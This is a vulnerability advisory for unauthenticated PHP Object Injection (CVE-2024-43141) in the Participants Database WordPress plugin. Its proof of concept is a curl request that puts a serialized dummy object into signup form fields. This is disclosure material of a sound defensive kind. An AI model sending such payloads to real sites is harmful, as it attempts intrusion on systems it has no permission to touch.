Participants Database < 2.5.9.3 – Unauthenticated PHP Object Injection | CVE 2024-43141

Description

The Participants Database plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.5.9.2 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.

Proof of Concept

curl 'https://vulnerable-site.tld/blog/2026/01/26/shortcode-page/' \
  -H 'Content-Type: multipart/form-data; boundary=----geckoformboundary22b15b5cb6313b5e180d6657542a9a73' \
  --data-binary \
  $'------geckoformboundary22b15b5cb6313b5e180d6657542a9a73\r\nContent-Disposition: form-data; name="action"\r\n\r\nsignup\r\n------geckoformboundary22b15b5cb6313b5e180d6657542a9a73\r\nContent-Disposition: form-data; name="subsource"\r\n\r\nparticipants-database\r\n------geckoformboundary22b15b5cb6313b5e180d6657542a9a73\r\nContent-Disposition: form-data; name="shortcode_page"\r\n\r\n/blog/2026/01/26/shortcode-ffs/\r\n------geckoformboundary22b15b5cb6313b5e180d6657542a9a73\r\nContent-Disposition: form-data; name="thanks_page"\r\n\r\n/blog/2026/01/26/shortcode-ffs/\r\n------geckoformboundary22b15b5cb6313b5e180d6657542a9a73\r\nContent-Disposition: form-data; name="instance_index"\r\n\r\n2\r\n------geckoformboundary22b15b5cb6313b5e180d6657542a9a73\r\nContent-Disposition: form-data; name="pdb_data_keys"\r\n\r\n1.2.9.10\r\n------geckoformboundary22b15b5cb6313b5e180d6657542a9a73\r\nContent-Disposition: form-data; name="session_hash"\r\n\r\nadb75f9fc4\r\n------geckoformboundary22b15b5cb6313b5e180d6657542a9a73\r\nContent-Disposition: form-data; name="first_name"\r\n\r\nO:4:"Evil":0:{}\r\n------geckoformboundary22b15b5cb6313b5e180d6657542a9a73\r\nContent-Disposition: form-data; name="last_name"\r\n\r\nO:4:"Evil":0:{}\r\n------geckoformboundary22b15b5cb6313b5e180d6657542a9a73\r\nContent-Disposition: form-data; name="email"\r\n\r\nasdasdasd@asdasad.tld\r\n------geckoformboundary22b15b5cb6313b5e180d6657542a9a73\r\nContent-Disposition: form-data; name="mailing_list"\r\n\r\nNo\r\n------geckoformboundary22b15b5cb6313b5e180d6657542a9a73\r\nContent-Disposition: form-data; name="mailing_list"\r\n\r\nYes\r\n------geckoformboundary22b15b5cb6313b5e180d6657542a9a73\r\nContent-Disposition: form-data; name="submit_button"\r\n\r\nSign Up\r\n------geckoformboundary22b15b5cb6313b5e180d6657542a9a73--\r\n'